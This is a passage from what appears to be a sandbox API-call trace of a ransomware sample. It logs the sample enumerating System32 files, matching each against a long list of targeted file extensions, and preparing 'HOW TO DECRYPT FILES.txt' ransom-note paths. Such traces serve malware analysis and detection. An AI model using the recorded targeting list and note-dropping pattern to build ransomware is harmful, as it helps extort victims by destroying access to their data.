[0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.ost") returned 0 [0143.855] lstrlenA (lpString="*.ost") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.idx") returned 0 [0143.855] lstrlenA (lpString="*.idx") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.dbx") returned 0 [0143.855] lstrlenA (lpString="*.dbx") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.sql") returned 0 [0143.855] lstrlenA (lpString="*.sql") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mdb") returned 0 [0143.855] lstrlenA (lpString="*.mdb") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.fdb") returned 0 [0143.855] lstrlenA (lpString="*.fdb") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.wab") returned 0 [0143.855] lstrlenA (lpString="*.wab") returned 5 [0143.855] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.dat") returned 0 [0143.856] lstrlenA (lpString="*.dat") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.txt") returned 0 [0143.856] lstrlenA (lpString="*.txt") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.jpeg") returned 0 [0143.856] lstrlenA (lpString="*.jpeg") returned 6 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.jpg") returned 0 [0143.856] lstrlenA (lpString="*.jpg") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.png") returned 0 [0143.856] lstrlenA (lpString="*.png") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.php") returned 0 [0143.856] lstrlenA (lpString="*.php") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.cs") returned 0 [0143.856] lstrlenA (lpString="*.cs") returned 4 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.cpp") returned 0 [0143.856] lstrlenA (lpString="*.cpp") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.rar") returned 0 [0143.856] lstrlenA (lpString="*.rar") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.zip") returned 0 [0143.856] lstrlenA (lpString="*.zip") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.html") returned 0 [0143.856] lstrlenA (lpString="*.html") returned 6 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.htm") returned 0 [0143.856] lstrlenA (lpString="*.htm") returned 5 [0143.856] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.xlsx") returned 0 [0143.856] lstrlenA (lpString="*.xlsx") returned 6 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.xls") returned 0 [0143.857] lstrlenA (lpString="*.xls") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mp4") returned 0 [0143.857] lstrlenA (lpString="*.mp4") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.ppt") returned 0 [0143.857] lstrlenA (lpString="*.ppt") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.pptx") returned 0 [0143.857] lstrlenA (lpString="*.pptx") returned 6 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.doc") returned 0 [0143.857] lstrlenA (lpString="*.doc") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.dot") returned 0 [0143.857] lstrlenA (lpString="*.dot") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.docx") returned 0 [0143.857] lstrlenA (lpString="*.docx") returned 6 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.7z") returned 0 [0143.857] lstrlenA (lpString="*.7z") returned 4 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.tar") returned 0 [0143.857] lstrlenA (lpString="*.tar") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.bz2") returned 0 [0143.857] lstrlenA (lpString="*.bz2") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.gz") returned 0 [0143.857] lstrlenA (lpString="*.gz") returned 4 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mkv") returned 0 [0143.857] lstrlenA (lpString="*.mkv") returned 5 [0143.857] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.eml") returned 0 [0143.858] lstrlenA (lpString="*.eml") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.msg") returned 0 [0143.858] lstrlenA (lpString="*.msg") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.edb") returned 0 [0143.858] lstrlenA (lpString="*.edb") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.accdb") returned 0 [0143.858] lstrlenA (lpString="*.accdb") returned 7 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.odb") returned 0 [0143.858] lstrlenA (lpString="*.odb") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.java") returned 0 [0143.858] lstrlenA (lpString="*.java") returned 6 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.asm") returned 0 [0143.858] lstrlenA (lpString="*.asm") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.pfx") returned 0 [0143.858] lstrlenA (lpString="*.pfx") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.pem") returned 0 [0143.858] lstrlenA (lpString="*.pem") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.p12") returned 0 [0143.858] lstrlenA (lpString="*.p12") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.gpg") returned 0 [0143.858] lstrlenA (lpString="*.gpg") returned 5 [0143.858] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.vsd") returned 0 [0143.858] lstrlenA (lpString="*.vsd") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.odg") returned 0 [0143.859] lstrlenA (lpString="*.odg") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.raw") returned 0 [0143.859] lstrlenA (lpString="*.raw") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.nef") returned 0 [0143.859] lstrlenA (lpString="*.nef") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.svg") returned 0 [0143.859] lstrlenA (lpString="*.svg") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.psd") returned 0 [0143.859] lstrlenA (lpString="*.psd") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.vmx") returned 0 [0143.859] lstrlenA (lpString="*.vmx") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.vmdk") returned 0 [0143.859] lstrlenA (lpString="*.vmdk") returned 6 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.vdi") returned 0 [0143.859] lstrlenA (lpString="*.vdi") returned 5 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.lay6") returned 0 [0143.859] lstrlenA (lpString="*.lay6") returned 6 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mpeg") returned 0 [0143.859] lstrlenA (lpString="*.mpeg") returned 6 [0143.859] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.djvu") returned 0 [0143.859] lstrlenA (lpString="*.djvu") returned 6 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.tiff") returned 0 [0143.860] lstrlenA (lpString="*.tiff") returned 6 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.backup") returned 0 [0143.860] lstrlenA (lpString="*.backup") returned 8 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.pdf") returned 0 [0143.860] lstrlenA (lpString="*.pdf") returned 5 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.cert") returned 0 [0143.860] lstrlenA (lpString="*.cert") returned 6 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.docm") returned 0 [0143.860] lstrlenA (lpString="*.docm") returned 6 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.xlsm") returned 0 [0143.860] lstrlenA (lpString="*.xlsm") returned 6 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.dwg") returned 0 [0143.860] lstrlenA (lpString="*.dwg") returned 5 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.nd") returned 0 [0143.860] lstrlenA (lpString="*.nd") returned 4 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.tlg") returned 0 [0143.860] lstrlenA (lpString="*.tlg") returned 5 [0143.860] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.lgb") returned 0 [0143.861] lstrlenA (lpString="*.lgb") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mov") returned 0 [0143.861] lstrlenA (lpString="*.mov") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.xdw") returned 0 [0143.861] lstrlenA (lpString="*.xdw") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.ods") returned 0 [0143.861] lstrlenA (lpString="*.ods") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.wav") returned 0 [0143.861] lstrlenA (lpString="*.wav") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.mp3") returned 0 [0143.861] lstrlenA (lpString="*.mp3") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.aiff") returned 0 [0143.861] lstrlenA (lpString="*.aiff") returned 6 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.flac") returned 0 [0143.861] lstrlenA (lpString="*.flac") returned 6 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.m4a") returned 0 [0143.861] lstrlenA (lpString="*.m4a") returned 5 [0143.861] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrv.dll", pszSpec="*.csv") returned 0 [0143.861] lstrlenA (lpString="*.csv") returned 5 [0143.861] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0143.862] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.862] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="catsrvps.dll") returned 1 [0143.862] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="catsrvps.dll") returned 1 [0143.862] lstrcmpiA (lpString1="", lpString2="catsrvps.dll") returned -1 [0143.862] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catsrv.dll") returned="catsrv.dll" [0143.862] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.862] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.862] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.862] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.862] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="catsrvps.dll" | out: lpString1="C:\\Windows\\System32\\catsrvps.dll") returned="C:\\Windows\\System32\\catsrvps.dll" [0143.862] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.ems") returned 0 [0143.862] lstrlenA (lpString="*.ems") returned 5 [0143.862] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.db") returned 0 [0143.862] lstrlenA (lpString="*.db") returned 4 [0143.862] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.dbf") returned 0 [0143.863] lstrlenA (lpString="*.dbf") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.myox") returned 0 [0143.863] lstrlenA (lpString="*.myox") returned 6 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.myo") returned 0 [0143.863] lstrlenA (lpString="*.myo") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qbw") returned 0 [0143.863] lstrlenA (lpString="*.qbw") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qbb") returned 0 [0143.863] lstrlenA (lpString="*.qbb") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qbm") returned 0 [0143.863] lstrlenA (lpString="*.qbm") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qbo") returned 0 [0143.863] lstrlenA (lpString="*.qbo") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qbx") returned 0 [0143.863] lstrlenA (lpString="*.qbx") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qba") returned 0 [0143.863] lstrlenA (lpString="*.qba") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qby") returned 0 [0143.863] lstrlenA (lpString="*.qby") returned 5 [0143.863] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qbj") returned 0 [0143.863] lstrlenA (lpString="*.qbj") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.ofx") returned 0 [0143.864] lstrlenA (lpString="*.ofx") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.qif") returned 0 [0143.864] lstrlenA (lpString="*.qif") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.mye") returned 0 [0143.864] lstrlenA (lpString="*.mye") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.mbox") returned 0 [0143.864] lstrlenA (lpString="*.mbox") returned 6 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.eml") returned 0 [0143.864] lstrlenA (lpString="*.eml") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.pst") returned 0 [0143.864] lstrlenA (lpString="*.pst") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.ost") returned 0 [0143.864] lstrlenA (lpString="*.ost") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.idx") returned 0 [0143.864] lstrlenA (lpString="*.idx") returned 5 [0143.864] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.dbx") returned 0 [0143.864] lstrlenA (lpString="*.dbx") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.sql") returned 0 [0143.865] lstrlenA (lpString="*.sql") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.mdb") returned 0 [0143.865] lstrlenA (lpString="*.mdb") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.fdb") returned 0 [0143.865] lstrlenA (lpString="*.fdb") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.wab") returned 0 [0143.865] lstrlenA (lpString="*.wab") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.dat") returned 0 [0143.865] lstrlenA (lpString="*.dat") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.txt") returned 0 [0143.865] lstrlenA (lpString="*.txt") returned 5 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.jpeg") returned 0 [0143.865] lstrlenA (lpString="*.jpeg") returned 6 [0143.865] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.jpg") returned 0 [0143.866] lstrlenA (lpString="*.jpg") returned 5 [0143.866] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.png") returned 0 [0143.866] lstrlenA (lpString="*.png") returned 5 [0143.866] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.php") returned 0 [0143.866] lstrlenA (lpString="*.php") returned 5 [0143.866] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.cs") returned 0 [0143.866] lstrlenA (lpString="*.cs") returned 4 [0143.866] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.cpp") returned 0 [0143.866] lstrlenA (lpString="*.cpp") returned 5 [0143.866] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.rar") returned 0 [0143.867] lstrlenA (lpString="*.rar") returned 5 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.zip") returned 0 [0143.867] lstrlenA (lpString="*.zip") returned 5 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.html") returned 0 [0143.867] lstrlenA (lpString="*.html") returned 6 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.htm") returned 0 [0143.867] lstrlenA (lpString="*.htm") returned 5 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.xlsx") returned 0 [0143.867] lstrlenA (lpString="*.xlsx") returned 6 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.xls") returned 0 [0143.867] lstrlenA (lpString="*.xls") returned 5 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.mp4") returned 0 [0143.867] lstrlenA (lpString="*.mp4") returned 5 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.ppt") returned 0 [0143.867] lstrlenA (lpString="*.ppt") returned 5 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.pptx") returned 0 [0143.867] lstrlenA (lpString="*.pptx") returned 6 [0143.867] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.doc") returned 0 [0143.867] lstrlenA (lpString="*.doc") returned 5 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.dot") returned 0 [0143.868] lstrlenA (lpString="*.dot") returned 5 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.docx") returned 0 [0143.868] lstrlenA (lpString="*.docx") returned 6 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.7z") returned 0 [0143.868] lstrlenA (lpString="*.7z") returned 4 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.tar") returned 0 [0143.868] lstrlenA (lpString="*.tar") returned 5 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.bz2") returned 0 [0143.868] lstrlenA (lpString="*.bz2") returned 5 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.gz") returned 0 [0143.868] lstrlenA (lpString="*.gz") returned 4 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.mkv") returned 0 [0143.868] lstrlenA (lpString="*.mkv") returned 5 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.eml") returned 0 [0143.868] lstrlenA (lpString="*.eml") returned 5 [0143.868] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.msg") returned 0 [0143.868] lstrlenA (lpString="*.msg") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.edb") returned 0 [0143.869] lstrlenA (lpString="*.edb") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.accdb") returned 0 [0143.869] lstrlenA (lpString="*.accdb") returned 7 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.odb") returned 0 [0143.869] lstrlenA (lpString="*.odb") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.java") returned 0 [0143.869] lstrlenA (lpString="*.java") returned 6 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.asm") returned 0 [0143.869] lstrlenA (lpString="*.asm") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.pfx") returned 0 [0143.869] lstrlenA (lpString="*.pfx") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.pem") returned 0 [0143.869] lstrlenA (lpString="*.pem") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.p12") returned 0 [0143.869] lstrlenA (lpString="*.p12") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.gpg") returned 0 [0143.869] lstrlenA (lpString="*.gpg") returned 5 [0143.869] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catsrvps.dll", pszSpec="*.vsd") returned 0 [0143.870] lstrlenA (lpString="*.vsd") returned 5 [0143.870] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x0, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0143.870] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.870] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="catsrvut.dll") returned 1 [0143.870] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="catsrvut.dll") returned 1 [0143.871] lstrcmpiA (lpString1="", lpString2="catsrvut.dll") returned -1 [0143.871] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catsrvps.dll") returned="catsrvps.dll" [0143.871] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.871] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.871] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.871] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0143.871] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="catsrvut.dll" | out: lpString1="C:\\Windows\\System32\\catsrvut.dll") returned="C:\\Windows\\System32\\catsrvut.dll" [0143.871] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x0, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0143.871] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0143.871] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cca.dll") returned 1 [0143.871] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cca.dll") returned 1 [0143.871] lstrcmpiA (lpString1="", lpString2="cca.dll") returned -1 [0143.872] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catsrvut.dll") returned="catsrvut.dll" [0143.872] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0143.872] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0143.872] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0143.872] GetFileAttributesA 